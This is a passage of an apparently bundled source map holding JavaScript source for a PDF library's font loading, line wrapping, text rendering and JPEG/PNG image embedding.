/Ordering (UCS)\r\n /Supplement 0\r\n>> def\r\n/CMapName /Adobe-Identity-UCS def\r\n/CMapType 2 def\r\n1 begincodespacerange\r\n<0000>\r\nendcodespacerange\r\n1 beginbfrange\r\n<0000> <${toHex(entries.length - 1)}> [${entries.join(' ')}]\r\nendbfrange\r\nendcmap\r\nCMapName currentdict /CMap defineresource pop\r\nend\r\nend\\\r\n`);\r\n\r\n return cmap;\r\n }\r\n}\r\n\r\nexport default EmbeddedFont;\r\n","import fs from 'fs';\r\nimport fontkit from '@foliojs-fork/fontkit';\r\nimport StandardFont from './font/standard';\r\nimport EmbeddedFont from './font/embedded';\r\n\r\nclass PDFFontFactory {\r\n static open(document, src, family, id) {\r\n let font;\r\n if (typeof src === 'string') {\r\n if (StandardFont.isStandardFont(src)) {\r\n return new StandardFont(document, src, id);\r\n }\r\n\r\n src = fs.readFileSync(src);\r\n }\r\n if (Buffer.isBuffer(src)) {\r\n font = fontkit.create(src, family);\r\n } else if (src instanceof Uint8Array) {\r\n font = fontkit.create(Buffer.from(src), family);\r\n } else if (src instanceof ArrayBuffer) {\r\n font = fontkit.create(Buffer.from(new Uint8Array(src)), family);\r\n }\r\n\r\n if (font == null) {\r\n throw new Error('Not a supported font format or standard PDF font.');\r\n }\r\n\r\n return new EmbeddedFont(document, font, id);\r\n }\r\n}\r\n\r\nexport default PDFFontFactory;\r\n","import PDFFontFactory from '../font_factory';\r\n\r\nexport default {\r\n initFonts(defaultFont = 'Helvetica') {\r\n // Lookup table for embedded fonts\r\n this._fontFamilies = {};\r\n this._fontCount = 0;\r\n\r\n // Font state\r\n this._fontSize = 12;\r\n this._font = null;\r\n\r\n this._registeredFonts = {};\r\n\r\n // Set the default font\r\n if (defaultFont) {\r\n this.font(defaultFont);\r\n }\r\n },\r\n\r\n font(src, family, size) {\r\n let cacheKey, font;\r\n if (typeof family === 'number') {\r\n size = family;\r\n family = null;\r\n }\r\n\r\n // check registered fonts if src is a string\r\n if (typeof src === 'string' && this._registeredFonts[src]) {\r\n cacheKey = src;\r\n ({ src, family } = this._registeredFonts[src]);\r\n } else {\r\n cacheKey = family || src;\r\n if (typeof cacheKey !== 'string') {\r\n cacheKey = null;\r\n }\r\n }\r\n\r\n if (size != null) {\r\n this.fontSize(size);\r\n }\r\n\r\n // fast path: check if the font is already in the PDF\r\n if ((font = this._fontFamilies[cacheKey])) {\r\n this._font = font;\r\n return this;\r\n }\r\n\r\n // load the font\r\n const id = `F${++this._fontCount}`;\r\n this._font = PDFFontFactory.open(this, src, family, id);\r\n\r\n // check for existing font familes with the same name already in the PDF\r\n // useful if the font was passed as a buffer\r\n if ((font = this._fontFamilies[this._font.name])) {\r\n this._font = font;\r\n return this;\r\n }\r\n\r\n // save the font for reuse later\r\n if (cacheKey) {\r\n this._fontFamilies[cacheKey] = this._font;\r\n }\r\n\r\n if (this._font.name) {\r\n this._fontFamilies[this._font.name] = this._font;\r\n }\r\n\r\n return this;\r\n },\r\n\r\n fontSize(_fontSize) {\r\n this._fontSize = _fontSize;\r\n return this;\r\n },\r\n\r\n currentLineHeight(includeGap) {\r\n if (includeGap == null) {\r\n includeGap = false;\r\n }\r\n return this._font.lineHeight(this._fontSize, includeGap);\r\n },\r\n\r\n registerFont(name, src, family) {\r\n this._registeredFonts[name] = {\r\n src,\r\n family\r\n };\r\n\r\n return this;\r\n }\r\n};\r\n","import { EventEmitter } from 'events';\r\nimport LineBreaker from '@foliojs-fork/linebreak';\r\n\r\nclass LineWrapper extends EventEmitter {\r\n constructor(document, options) {\r\n super();\r\n this.document = document;\r\n this.indent = options.indent || 0;\r\n this.characterSpacing = options.characterSpacing || 0;\r\n this.wordSpacing = options.wordSpacing === 0;\r\n this.columns = options.columns || 1;\r\n this.columnGap = options.columnGap != null ? options.columnGap : 18; // 1/4 inch\r\n this.lineWidth =\r\n (options.width - this.columnGap * (this.columns - 1)) / this.columns;\r\n this.spaceLeft = this.lineWidth;\r\n this.startX = this.document.x;\r\n this.startY = this.document.y;\r\n this.column = 1;\r\n this.ellipsis = options.ellipsis;\r\n this.continuedX = 0;\r\n this.features = options.features;\r\n\r\n // calculate the maximum Y position the text can appear at\r\n if (options.height != null) {\r\n this.height = options.height;\r\n this.maxY = this.startY + options.height;\r\n } else {\r\n this.maxY = this.document.page.maxY();\r\n }\r\n\r\n // handle paragraph indents\r\n this.on('firstLine', options => {\r\n // if this is the first line of the text segment, and\r\n // we're continuing where we left off, indent that much\r\n // otherwise use the user specified indent option\r\n const indent = this.continuedX || this.indent;\r\n this.document.x += indent;\r\n this.lineWidth -= indent;\r\n\r\n return this.once('line', () => {\r\n this.document.x -= indent;\r\n this.lineWidth += indent;\r\n if (options.continued && !this.continuedX) {\r\n this.continuedX = this.indent;\r\n }\r\n if (!options.continued) {\r\n return (this.continuedX = 0);\r\n }\r\n });\r\n });\r\n\r\n // handle left aligning last lines of paragraphs\r\n this.on('lastLine', options => {\r\n const { align } = options;\r\n if (align === 'justify') {\r\n options.align = 'left';\r\n }\r\n this.lastLine = true;\r\n\r\n return this.once('line', () => {\r\n this.document.y += options.paragraphGap || 0;\r\n options.align = align;\r\n return (this.lastLine = false);\r\n });\r\n });\r\n }\r\n\r\n wordWidth(word) {\r\n return (\r\n this.document.widthOfString(word, this) +\r\n this.characterSpacing +\r\n this.wordSpacing\r\n );\r\n }\r\n\r\n eachWord(text, fn) {\r\n // setup a unicode line breaker\r\n let bk;\r\n const breaker = new LineBreaker(text);\r\n let last = null;\r\n const wordWidths = Object.create(null);\r\n\r\n while ((bk = breaker.nextBreak())) {\r\n var shouldContinue;\r\n let word = text.slice(\r\n (last != null ? last.position : undefined) || 0,\r\n bk.position\r\n );\r\n let w =\r\n wordWidths[word] != null\r\n ? wordWidths[word]\r\n : (wordWidths[word] = this.wordWidth(word));\r\n\r\n // if the word is longer than the whole line, chop it up\r\n // TODO: break by grapheme clusters, not JS string characters\r\n if (w > this.lineWidth + this.continuedX) {\r\n // make some fake break objects\r\n let lbk = last;\r\n const fbk = {};\r\n\r\n while (word.length) {\r\n // fit as much of the word as possible into the space we have\r\n var l, mightGrow;\r\n if (w > this.spaceLeft) {\r\n // start our check at the end of our available space - this method is faster than a loop of each character and it resolves\r\n // an issue with long loops when processing massive words, such as a huge number of spaces\r\n l = Math.ceil(this.spaceLeft / (w / word.length));\r\n w = this.wordWidth(word.slice(0, l));\r\n mightGrow = w <= this.spaceLeft && l < word.length;\r\n } else {\r\n l = word.length;\r\n }\r\n let mustShrink = w > this.spaceLeft && l > 0;\r\n // shrink or grow word as necessary after our near-guess above\r\n while (mustShrink || mightGrow) {\r\n if (mustShrink) {\r\n w = this.wordWidth(word.slice(0, --l));\r\n mustShrink = w > this.spaceLeft && l > 0;\r\n } else {\r\n w = this.wordWidth(word.slice(0, ++l));\r\n mustShrink = w > this.spaceLeft && l > 0;\r\n mightGrow = w <= this.spaceLeft && l < word.length;\r\n }\r\n }\r\n\r\n // check for the edge case where a single character cannot fit into a line.\r\n if (l === 0 && this.spaceLeft === this.lineWidth) {\r\n l = 1;\r\n }\r\n\r\n // send a required break unless this is the last piece and a linebreak is not specified\r\n fbk.required = bk.required || l < word.length;\r\n shouldContinue = fn(word.slice(0, l), w, fbk, lbk);\r\n lbk = { required: false };\r\n\r\n // get the remaining piece of the word\r\n word = word.slice(l);\r\n w = this.wordWidth(word);\r\n\r\n if (shouldContinue === false) {\r\n break;\r\n }\r\n }\r\n } else {\r\n // otherwise just emit the break as it was given to us\r\n shouldContinue = fn(word, w, bk, last);\r\n }\r\n\r\n if (shouldContinue === false) {\r\n break;\r\n }\r\n last = bk;\r\n }\r\n }\r\n\r\n wrap(text, options) {\r\n // override options from previous continued fragments\r\n if (options.indent != null) {\r\n this.indent = options.indent;\r\n }\r\n if (options.characterSpacing != null) {\r\n this.characterSpacing = options.characterSpacing;\r\n }\r\n if (options.wordSpacing != null) {\r\n this.wordSpacing = options.wordSpacing;\r\n }\r\n if (options.ellipsis != null) {\r\n this.ellipsis = options.ellipsis;\r\n }\r\n\r\n // make sure we're actually on the page\r\n // and that the first line of is never by\r\n // itself at the bottom of a page (orphans)\r\n const nextY = this.document.y + this.document.currentLineHeight(true);\r\n if (this.document.y > this.maxY || nextY > this.maxY) {\r\n this.nextSection();\r\n }\r\n\r\n let buffer = '';\r\n let textWidth = 0;\r\n let wc = 0;\r\n let lc = 0;\r\n\r\n let { y } = this.document; // used to reset Y pos if options.continued (below)\r\n const emitLine = () => {\r\n options.textWidth = textWidth + this.wordSpacing * (wc - 1);\r\n options.wordCount = wc;\r\n options.lineWidth = this.lineWidth;\r\n ({ y } = this.document);\r\n this.emit('line', buffer, options, this);\r\n return lc++;\r\n };\r\n\r\n this.emit('sectionStart', options, this);\r\n\r\n this.eachWord(text, (word, w, bk, last) => {\r\n if (last == null || last.required) {\r\n this.emit('firstLine', options, this);\r\n this.spaceLeft = this.lineWidth;\r\n }\r\n\r\n if (w <= this.spaceLeft) {\r\n buffer += word;\r\n textWidth += w;\r\n wc++;\r\n }\r\n\r\n if (bk.required || w > this.spaceLeft) {\r\n // if the user specified a max height and an ellipsis, and is about to pass the\r\n // max height and max columns after the next line, append the ellipsis\r\n const lh = this.document.currentLineHeight(true);\r\n if (\r\n this.height != null &&\r\n this.ellipsis &&\r\n this.document.y + lh * 2 > this.maxY &&\r\n this.column >= this.columns\r\n ) {\r\n if (this.ellipsis === true) {\r\n this.ellipsis = '…';\r\n } // map default ellipsis character\r\n buffer = buffer.replace(/\\s+$/, '');\r\n textWidth = this.wordWidth(buffer + this.ellipsis);\r\n\r\n // remove characters from the buffer until the ellipsis fits\r\n // to avoid infinite loop need to stop while-loop if buffer is empty string\r\n while (buffer && textWidth > this.lineWidth) {\r\n buffer = buffer.slice(0, -1).replace(/\\s+$/, '');\r\n textWidth = this.wordWidth(buffer + this.ellipsis);\r\n }\r\n // need to add ellipsis only if there is enough space for it\r\n if (textWidth <= this.lineWidth) {\r\n buffer = buffer + this.ellipsis;\r\n }\r\n\r\n textWidth = this.wordWidth(buffer);\r\n }\r\n\r\n if (bk.required) {\r\n if (w > this.spaceLeft) {\r\n emitLine();\r\n buffer = word;\r\n textWidth = w;\r\n wc = 1;\r\n }\r\n\r\n this.emit('lastLine', options, this);\r\n }\r\n\r\n emitLine();\r\n\r\n // if we've reached the edge of the page,\r\n // continue on a new page or column\r\n if (this.document.y + lh > this.maxY) {\r\n const shouldContinue = this.nextSection();\r\n\r\n // stop if we reached the maximum height\r\n if (!shouldContinue) {\r\n wc = 0;\r\n buffer = '';\r\n return false;\r\n }\r\n }\r\n\r\n // reset the space left and buffer\r\n if (bk.required) {\r\n this.spaceLeft = this.lineWidth;\r\n buffer = '';\r\n textWidth = 0;\r\n return (wc = 0);\r\n } else {\r\n // reset the space left and buffer\r\n this.spaceLeft = this.lineWidth - w;\r\n buffer = word;\r\n textWidth = w;\r\n return (wc = 1);\r\n }\r\n } else {\r\n return (this.spaceLeft -= w);\r\n }\r\n });\r\n\r\n if (wc > 0) {\r\n this.emit('lastLine', options, this);\r\n emitLine();\r\n }\r\n\r\n this.emit('sectionEnd', options, this);\r\n\r\n // if the wrap is set to be continued, save the X position\r\n // to start the first line of the next segment at, and reset\r\n // the y position\r\n if (options.continued === true) {\r\n if (lc > 1) {\r\n this.continuedX = 0;\r\n }\r\n this.continuedX += options.textWidth || 0;\r\n return (this.document.y = y);\r\n } else {\r\n return (this.document.x = this.startX);\r\n }\r\n }\r\n\r\n nextSection(options) {\r\n this.emit('sectionEnd', options, this);\r\n\r\n if (++this.column > this.columns) {\r\n // if a max height was specified by the user, we're done.\r\n // otherwise, the default is to make a new page at the bottom.\r\n if (this.height != null) {\r\n return false;\r\n }\r\n\r\n this.document.continueOnNewPage();\r\n this.column = 1;\r\n this.startY = this.document.page.margins.top;\r\n this.maxY = this.document.page.maxY();\r\n this.document.x = this.startX;\r\n if (this.document._fillColor) {\r\n this.document.fillColor(...this.document._fillColor);\r\n }\r\n this.emit('pageBreak', options, this);\r\n } else {\r\n this.document.x += this.lineWidth + this.columnGap;\r\n this.document.y = this.startY;\r\n this.emit('columnBreak', options, this);\r\n }\r\n\r\n this.emit('sectionStart', options, this);\r\n return true;\r\n }\r\n}\r\n\r\nexport default LineWrapper;\r\n","import LineWrapper from '../line_wrapper';\r\nimport PDFObject from '../object';\r\n\r\nconst { number } = PDFObject;\r\n\r\nexport default {\r\n initText() {\r\n this._line = this._line.bind(this);\r\n // Current coordinates\r\n this.x = 0;\r\n this.y = 0;\r\n return (this._lineGap = 0);\r\n },\r\n\r\n lineGap(_lineGap) {\r\n this._lineGap = _lineGap;\r\n return this;\r\n },\r\n\r\n moveDown(lines) {\r\n if (lines == null) {\r\n lines = 1;\r\n }\r\n this.y += this.currentLineHeight(true) * lines + this._lineGap;\r\n return this;\r\n },\r\n\r\n moveUp(lines) {\r\n if (lines == null) {\r\n lines = 1;\r\n }\r\n this.y -= this.currentLineHeight(true) * lines + this._lineGap;\r\n return this;\r\n },\r\n\r\n _text(text, x, y, options, lineCallback) {\r\n options = this._initOptions(x, y, options);\r\n\r\n // Convert text to a string\r\n text = text == null ? '' : `${text}`;\r\n\r\n // if the wordSpacing option is specified, remove multiple consecutive spaces\r\n if (options.wordSpacing) {\r\n text = text.replace(/\\s{2,}/g, ' ');\r\n }\r\n\r\n const addStructure = () => {\r\n if (options.structParent) {\r\n options.structParent.add(this.struct(options.structType || 'P',\r\n [ this.markStructureContent(options.structType || 'P') ]));\r\n }\r\n };\r\n\r\n // word wrapping\r\n if (options.width) {\r\n let wrapper = this._wrapper;\r\n if (!wrapper) {\r\n wrapper = new LineWrapper(this, options);\r\n wrapper.on('line', lineCallback);\r\n wrapper.on('firstLine', addStructure);\r\n }\r\n\r\n this._wrapper = options.continued ? wrapper : null;\r\n this._textOptions = options.continued ? options : null;\r\n wrapper.wrap(text, options);\r\n\r\n // render paragraphs as single lines\r\n } else {\r\n for (let line of text.split('\\n')) {\r\n addStructure();\r\n lineCallback(line, options);\r\n }\r\n }\r\n\r\n return this;\r\n },\r\n\r\n text(text, x, y, options) {\r\n return this._text(text, x, y, options, this._line);\r\n },\r\n\r\n widthOfString(string, options = {}) {\r\n return (\r\n this._font.widthOfString(string, this._fontSize, options.features) +\r\n (options.characterSpacing || 0) * (string.length - 1)\r\n );\r\n },\r\n\r\n heightOfString(text, options) {\r\n const { x, y } = this;\r\n\r\n options = this._initOptions(options);\r\n options.height = Infinity; // don't break pages\r\n\r\n const lineGap = options.lineGap || this._lineGap || 0;\r\n this._text(text, this.x, this.y, options, () => {\r\n return (this.y += this.currentLineHeight(true) + lineGap);\r\n });\r\n\r\n const height = this.y - y;\r\n this.x = x;\r\n this.y = y;\r\n\r\n return height;\r\n },\r\n\r\n list(list, x, y, options, wrapper) {\r\n options = this._initOptions(x, y, options);\r\n\r\n const listType = options.listType || 'bullet';\r\n const unit = Math.round((this._font.ascender / 1000) * this._fontSize);\r\n const midLine = unit / 2;\r\n const r = options.bulletRadius || unit / 3;\r\n const indent =\r\n options.textIndent || (listType === 'bullet' ? r * 5 : unit * 2);\r\n const itemIndent =\r\n options.bulletIndent || (listType === 'bullet' ? r * 8 : unit * 2);\r\n\r\n let level = 1;\r\n const items = [];\r\n const levels = [];\r\n const numbers = [];\r\n\r\n var flatten = function(list) {\r\n let n = 1;\r\n for (let i = 0; i < list.length; i++) {\r\n const item = list[i];\r\n if (Array.isArray(item)) {\r\n level++;\r\n flatten(item);\r\n level--;\r\n } else {\r\n items.push(item);\r\n levels.push(level);\r\n if (listType !== 'bullet') {\r\n numbers.push(n++);\r\n }\r\n }\r\n }\r\n };\r\n\r\n flatten(list);\r\n\r\n const label = function(n) {\r\n switch (listType) {\r\n case 'numbered':\r\n return `${n}.`;\r\n case 'lettered':\r\n var letter = String.fromCharCode(((n - 1) % 26) + 65);\r\n var times = Math.floor((n - 1) / 26 + 1);\r\n var text = Array(times + 1).join(letter);\r\n return `${text}.`;\r\n }\r\n };\r\n\r\n wrapper = new LineWrapper(this, options);\r\n wrapper.on('line', this._line);\r\n\r\n level = 1;\r\n let i = 0;\r\n wrapper.on('firstLine', () => {\r\n let item, itemType, labelType, bodyType;\r\n if (options.structParent) {\r\n if (options.structTypes) {\r\n [ itemType, labelType, bodyType ] = options.structTypes;\r\n } else {\r\n [ itemType, labelType, bodyType ] = [ 'LI', 'Lbl', 'LBody' ];\r\n }\r\n }\r\n\r\n if (itemType) {\r\n item = this.struct(itemType);\r\n options.structParent.add(item);\r\n } else if (options.structParent) {\r\n item = options.structParent;\r\n }\r\n\r\n let l;\r\n if ((l = levels[i++]) !== level) {\r\n const diff = itemIndent * (l - level);\r\n this.x += diff;\r\n wrapper.lineWidth -= diff;\r\n level = l;\r\n }\r\n\r\n if (item && (labelType || bodyType)) {\r\n item.add(this.struct(labelType || bodyType,\r\n [ this.markStructureContent(labelType || bodyType) ]));\r\n }\r\n switch (listType) {\r\n case 'bullet':\r\n this.circle(this.x - indent + r, this.y + midLine, r);\r\n this.fill();\r\n break;\r\n case 'numbered':\r\n case 'lettered':\r\n var text = label(numbers[i - 1]);\r\n this._fragment(text, this.x - indent, this.y, options);\r\n break;\r\n }\r\n\r\n if (item && labelType && bodyType) {\r\n item.add(this.struct(bodyType, [ this.markStructureContent(bodyType) ]));\r\n }\r\n if (item && item !== options.structParent) {\r\n item.end();\r\n }\r\n });\r\n\r\n wrapper.on('sectionStart', () => {\r\n const pos = indent + itemIndent * (level - 1);\r\n this.x += pos;\r\n return (wrapper.lineWidth -= pos);\r\n });\r\n\r\n wrapper.on('sectionEnd', () => {\r\n const pos = indent + itemIndent * (level - 1);\r\n this.x -= pos;\r\n return (wrapper.lineWidth += pos);\r\n });\r\n\r\n wrapper.wrap(items.join('\\n'), options);\r\n\r\n return this;\r\n },\r\n\r\n _initOptions(x = {}, y, options = {}) {\r\n if (typeof x === 'object') {\r\n options = x;\r\n x = null;\r\n }\r\n\r\n // clone options object\r\n const result = Object.assign({}, options);\r\n\r\n // extend options with previous values for continued text\r\n if (this._textOptions) {\r\n for (let key in this._textOptions) {\r\n const val = this._textOptions[key];\r\n if (key !== 'continued') {\r\n if (result[key] === undefined) {\r\n result[key] = val;\r\n }\r\n }\r\n }\r\n }\r\n\r\n // Update the current position\r\n if (x != null) {\r\n this.x = x;\r\n }\r\n if (y != null) {\r\n this.y = y;\r\n }\r\n\r\n // wrap to margins if no x or y position passed\r\n if (result.lineBreak !== false) {\r\n if (result.width == null) {\r\n result.width = this.page.width - this.x - this.page.margins.right;\r\n }\r\n result.width = Math.max(result.width, 0);\r\n }\r\n\r\n if (!result.columns) {\r\n result.columns = 0;\r\n }\r\n if (result.columnGap == null) {\r\n result.columnGap = 18;\r\n } // 1/4 inch\r\n\r\n return result;\r\n },\r\n\r\n _line(text, options = {}, wrapper) {\r\n this._fragment(text, this.x, this.y, options);\r\n const lineGap = options.lineGap || this._lineGap || 0;\r\n\r\n if (!wrapper) {\r\n return (this.x += this.widthOfString(text));\r\n } else {\r\n return (this.y += this.currentLineHeight(true) + lineGap);\r\n }\r\n },\r\n\r\n _fragment(text, x, y, options) {\r\n let dy, encoded, i, positions, textWidth, words;\r\n text = `${text}`.replace(/\\n/g, '');\r\n if (text.length === 0) {\r\n return;\r\n }\r\n\r\n // handle options\r\n const align = options.align || 'left';\r\n let wordSpacing = options.wordSpacing || 0;\r\n const characterSpacing = options.characterSpacing || 0;\r\n\r\n // text alignments\r\n if (options.width) {\r\n switch (align) {\r\n case 'right':\r\n textWidth = this.widthOfString(text.replace(/\\s+$/, ''), options);\r\n x += options.lineWidth - textWidth;\r\n break;\r\n\r\n case 'center':\r\n x += options.lineWidth / 2 - options.textWidth / 2;\r\n break;\r\n\r\n case 'justify':\r\n // calculate the word spacing value\r\n words = text.trim().split(/\\s+/);\r\n textWidth = this.widthOfString(text.replace(/\\s+/g, ''), options);\r\n var spaceWidth = this.widthOfString(' ') + characterSpacing;\r\n wordSpacing = Math.max(\r\n 0,\r\n (options.lineWidth - textWidth) / Math.max(1, words.length - 1) -\r\n spaceWidth\r\n );\r\n break;\r\n }\r\n }\r\n\r\n // text baseline alignments based on http://wiki.apache.org/xmlgraphics-fop/LineLayout/AlignmentHandling\r\n if (typeof options.baseline === 'number') {\r\n dy = -options.baseline;\r\n } else {\r\n switch (options.baseline) {\r\n case 'svg-middle':\r\n dy = 0.5 * this._font.xHeight;\r\n break;\r\n case 'middle':\r\n case 'svg-central':\r\n dy = 0.5 * (this._font.descender + this._font.ascender);\r\n break;\r\n case 'bottom':\r\n case 'ideographic':\r\n dy = this._font.descender;\r\n break;\r\n case 'alphabetic':\r\n dy = 0;\r\n break;\r\n case 'mathematical':\r\n dy = 0.5 * this._font.ascender;\r\n break;\r\n case 'hanging':\r\n dy = 0.8 * this._font.ascender;\r\n break;\r\n case 'top':\r\n dy = this._font.ascender;\r\n break;\r\n default:\r\n dy = this._font.ascender;\r\n }\r\n dy = (dy / 1000) * this._fontSize;\r\n }\r\n\r\n // calculate the actual rendered width of the string after word and character spacing\r\n const renderedWidth =\r\n options.textWidth +\r\n wordSpacing * (options.wordCount - 1) +\r\n characterSpacing * (text.length - 1);\r\n\r\n // create link annotations if the link option is given\r\n if (options.link != null) {\r\n this.link(x, y, renderedWidth, this.currentLineHeight(), options.link);\r\n }\r\n if (options.goTo != null) {\r\n this.goTo(x, y, renderedWidth, this.currentLineHeight(), options.goTo);\r\n }\r\n if (options.destination != null) {\r\n this.addNamedDestination(options.destination, 'XYZ', x, y, null);\r\n }\r\n\r\n // create underline\r\n if (options.underline) {\r\n this.save();\r\n if (!options.stroke) {\r\n this.strokeColor(...(this._fillColor || []));\r\n }\r\n\r\n const lineWidth =\r\n this._fontSize < 10 ? 0.5 : Math.floor(this._fontSize / 10);\r\n this.lineWidth(lineWidth);\r\n\r\n let lineY = (y + this.currentLineHeight()) - lineWidth\r\n this.moveTo(x, lineY);\r\n this.lineTo(x + renderedWidth, lineY);\r\n this.stroke();\r\n this.restore();\r\n }\r\n \r\n // create strikethrough line\r\n if (options.strike) {\r\n this.save();\r\n if (!options.stroke) {\r\n this.strokeColor(...(this._fillColor || []));\r\n }\r\n\r\n const lineWidth =\r\n this._fontSize < 10 ? 0.5 : Math.floor(this._fontSize / 10);\r\n this.lineWidth(lineWidth);\r\n\r\n let lineY = y + this.currentLineHeight() / 2;\r\n this.moveTo(x, lineY);\r\n this.lineTo(x + renderedWidth, lineY);\r\n this.stroke();\r\n this.restore();\r\n }\r\n\r\n this.save();\r\n\r\n // oblique (angle in degrees or boolean)\r\n if (options.oblique) {\r\n let skew;\r\n if (typeof options.oblique === 'number') {\r\n skew = -Math.tan((options.oblique * Math.PI) / 180);\r\n } else {\r\n skew = -0.25;\r\n }\r\n this.transform(1, 0, 0, 1, x, y);\r\n this.transform(1, 0, skew, 1, -skew * dy, 0);\r\n this.transform(1, 0, 0, 1, -x, -y);\r\n }\r\n\r\n // flip coordinate system\r\n this.transform(1, 0, 0, -1, 0, this.page.height);\r\n y = this.page.height - y - dy;\r\n\r\n // add current font to page if necessary\r\n if (this.page.fonts[this._font.id] == null) {\r\n this.page.fonts[this._font.id] = this._font.ref();\r\n }\r\n\r\n // begin the text object\r\n this.addContent('BT');\r\n\r\n // text position\r\n this.addContent(`1 0 0 1 ${number(x)} ${number(y)} Tm`);\r\n\r\n // font and font size\r\n this.addContent(`/${this._font.id} ${number(this._fontSize)} Tf`);\r\n\r\n // rendering mode\r\n const mode = options.fill && options.stroke ? 2 : options.stroke ? 1 : 0;\r\n if (mode) {\r\n this.addContent(`${mode} Tr`);\r\n }\r\n\r\n // Character spacing\r\n if (characterSpacing) {\r\n this.addContent(`${number(characterSpacing)} Tc`);\r\n }\r\n\r\n // Add the actual text\r\n // If we have a word spacing value, we need to encode each word separately\r\n // since the normal Tw operator only works on character code 32, which isn't\r\n // used for embedded fonts.\r\n if (wordSpacing) {\r\n words = text.trim().split(/\\s+/);\r\n wordSpacing += this.widthOfString(' ') + characterSpacing;\r\n wordSpacing *= 1000 / this._fontSize;\r\n\r\n encoded = [];\r\n positions = [];\r\n for (let word of words) {\r\n const [encodedWord, positionsWord] = this._font.encode(\r\n word,\r\n options.features\r\n );\r\n encoded = encoded.concat(encodedWord);\r\n positions = positions.concat(positionsWord);\r\n\r\n // add the word spacing to the end of the word\r\n // clone object because of cache\r\n const space = {};\r\n const object = positions[positions.length - 1];\r\n for (let key in object) {\r\n const val = object[key];\r\n space[key] = val;\r\n }\r\n space.xAdvance += wordSpacing;\r\n positions[positions.length - 1] = space;\r\n }\r\n } else {\r\n [encoded, positions] = this._font.encode(text, options.features);\r\n }\r\n\r\n const scale = this._fontSize / 1000;\r\n const commands = [];\r\n let last = 0;\r\n let hadOffset = false;\r\n\r\n // Adds a segment of text to the TJ command buffer\r\n const addSegment = cur => {\r\n if (last < cur) {\r\n const hex = encoded.slice(last, cur).join('');\r\n const advance =\r\n positions[cur - 1].xAdvance - positions[cur - 1].advanceWidth;\r\n commands.push(`<${hex}> ${number(-advance)}`);\r\n }\r\n\r\n return (last = cur);\r\n };\r\n\r\n // Flushes the current TJ commands to the output stream\r\n const flush = i => {\r\n addSegment(i);\r\n\r\n if (commands.length > 0) {\r\n this.addContent(`[${commands.join(' ')}] TJ`);\r\n return (commands.length = 0);\r\n }\r\n };\r\n\r\n for (i = 0; i < positions.length; i++) {\r\n // If we have an x or y offset, we have to break out of the current TJ command\r\n // so we can move the text position.\r\n const pos = positions[i];\r\n if (pos.xOffset || pos.yOffset) {\r\n // Flush the current buffer\r\n flush(i);\r\n\r\n // Move the text position and flush just the current character\r\n this.addContent(\r\n `1 0 0 1 ${number(x + pos.xOffset * scale)} ${number(\r\n y + pos.yOffset * scale\r\n )} Tm`\r\n );\r\n flush(i + 1);\r\n\r\n hadOffset = true;\r\n } else {\r\n // If the last character had an offset, reset the text position\r\n if (hadOffset) {\r\n this.addContent(`1 0 0 1 ${number(x)} ${number(y)} Tm`);\r\n hadOffset = false;\r\n }\r\n\r\n // Group segments that don't have any advance adjustments\r\n if (pos.xAdvance - pos.advanceWidth !== 0) {\r\n addSegment(i + 1);\r\n }\r\n }\r\n\r\n x += pos.xAdvance * scale;\r\n }\r\n\r\n // Flush any remaining commands\r\n flush(i);\r\n\r\n // end the text object\r\n this.addContent('ET');\r\n\r\n // restore flipped coordinate system\r\n return this.restore();\r\n }\r\n};\r\n","const MARKERS = [\r\n 0xffc0,\r\n 0xffc1,\r\n 0xffc2,\r\n 0xffc3,\r\n 0xffc5,\r\n 0xffc6,\r\n 0xffc7,\r\n 0xffc8,\r\n 0xffc9,\r\n 0xffca,\r\n 0xffcb,\r\n 0xffcc,\r\n 0xffcd,\r\n 0xffce,\r\n 0xffcf\r\n];\r\n\r\nconst COLOR_SPACE_MAP = {\r\n 1: 'DeviceGray',\r\n 3: 'DeviceRGB',\r\n 4: 'DeviceCMYK'\r\n};\r\n\r\nclass JPEG {\r\n constructor(data, label) {\r\n let marker;\r\n this.data = data;\r\n this.label = label;\r\n if (this.data.readUInt16BE(0) !== 0xffd8) {\r\n throw 'SOI not found in JPEG';\r\n }\r\n\r\n let pos = 2;\r\n while (pos < this.data.length) {\r\n marker = this.data.readUInt16BE(pos);\r\n pos += 2;\r\n if (MARKERS.includes(marker)) {\r\n break;\r\n }\r\n pos += this.data.readUInt16BE(pos);\r\n }\r\n\r\n if (!MARKERS.includes(marker)) {\r\n throw 'Invalid JPEG.';\r\n }\r\n pos += 2;\r\n\r\n this.bits = this.data[pos++];\r\n this.height = this.data.readUInt16BE(pos);\r\n pos += 2;\r\n\r\n this.width = this.data.readUInt16BE(pos);\r\n pos += 2;\r\n\r\n const channels = this.data[pos++];\r\n this.colorSpace = COLOR_SPACE_MAP[channels];\r\n\r\n this.obj = null;\r\n }\r\n\r\n embed(document) {\r\n if (this.obj) {\r\n return;\r\n }\r\n\r\n this.obj = document.ref({\r\n Type: 'XObject',\r\n Subtype: 'Image',\r\n BitsPerComponent: this.bits,\r\n Width: this.width,\r\n Height: this.height,\r\n ColorSpace: this.colorSpace,\r\n Filter: 'DCTDecode'\r\n });\r\n\r\n // add extra decode params for CMYK images. By swapping the\r\n // min and max values from the default, we invert the colors. See\r\n // section 4.8.4 of the spec.\r\n if (this.colorSpace === 'DeviceCMYK') {\r\n this.obj.data['Decode'] = [1.0, 0.0, 1.0, 0.0, 1.0, 0.0, 1.0, 0.0];\r\n }\r\n\r\n this.obj.end(this.data);\r\n\r\n // free memory\r\n return (this.data = null);\r\n }\r\n}\r\n\r\nexport default JPEG;\r\n","import zlib from 'zlib';\r\nimport PNG from 'png-js';\r\n\r\nclass PNGImage {\r\n constructor(data, label) {\r\n this.label = label;\r\n this.image = new PNG(data);\r\n this.width = this.image.width;\r\n this.height = this.image.height;\r\n this.imgData = this.image.imgData;\r\n this.obj = null;\r\n }\r\n\r\n embed(document) {\r\n let dataDecoded = false;\r\n\r\n this.document = document;\r\n if (this.obj) {\r\n return;\r\n }\r\n\r\n const hasAlphaChannel = this.image.hasAlphaChannel;\r\n const isInterlaced = this.image.interlaceMethod === 1;\r\n\r\n this.obj = this.document.ref({\r\n Type: 'XObject',\r\n Subtype: 'Image',\r\n BitsPerComponent: hasAlphaChannel ? 8 : this.image.bits,\r\n Width: this.width,\r\n Height: this.height,\r\n Filter: 'FlateDecode'\r\n });\r\n\r\n if (!hasAlphaChannel) {\r\n const params = this.document.ref({\r\n Predictor: isInterlaced ? 1 : 15,\r\n Colors: this.image.colors,\r\n BitsPerComponent: this.image.bits,\r\n Columns: this.width\r\n });\r\n\r\n this.obj.data['DecodeParms'] = params;\r\n params.end();\r\n }\r\n\r\n 